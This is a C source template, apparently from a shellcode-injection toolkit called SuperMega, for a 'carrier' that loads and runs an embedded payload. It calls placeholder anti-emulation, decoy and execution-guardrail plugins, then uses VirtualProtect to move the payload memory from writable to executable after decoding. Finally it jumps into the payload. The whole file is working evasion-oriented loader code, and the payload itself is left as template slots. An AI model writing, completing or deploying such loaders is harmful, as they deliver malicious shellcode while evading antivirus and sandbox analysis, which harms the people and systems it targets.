SuperMega/data/source/carrier/change_rw_rx/template.c

#include <Windows.h>

#include <time.h>

char *supermega_payload;

#define p_RW  0x04
#define p_RX  0x20
#define p_RWX 0x40

/* iat_reuse_rwx_rx

   IAT reuse shellcode
   * reuse payload location (both in .rdata and .text)
   * does (rw/rx) -> rwx -> rx
*/

{{plugin_antiemulation}}

{{plugin_decoy}}

{{plugin_executionguardrail}}


int main()
{
    DWORD result;
    char *dest = supermega_payload;

	// Call: Execution Guardrail
	if (executionguardrail() != 0) {
		return 1;
	}

	// Call: Anti Emulation plugin
	antiemulation();

	// Call: Decoy plugin
	decoy();

    // Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
    //       can do only RW otherwise?
    /*for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
        if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
            return 16;
        }
    }*/
    if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
        return 16;
    }

{{ plugin_decoder }}

    if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
        return 16;
    }

    /*for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
        if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
            return 16;
        }
    }*/

    // Execute *dest
    (*(void(*)())(dest))();

	return 0;
}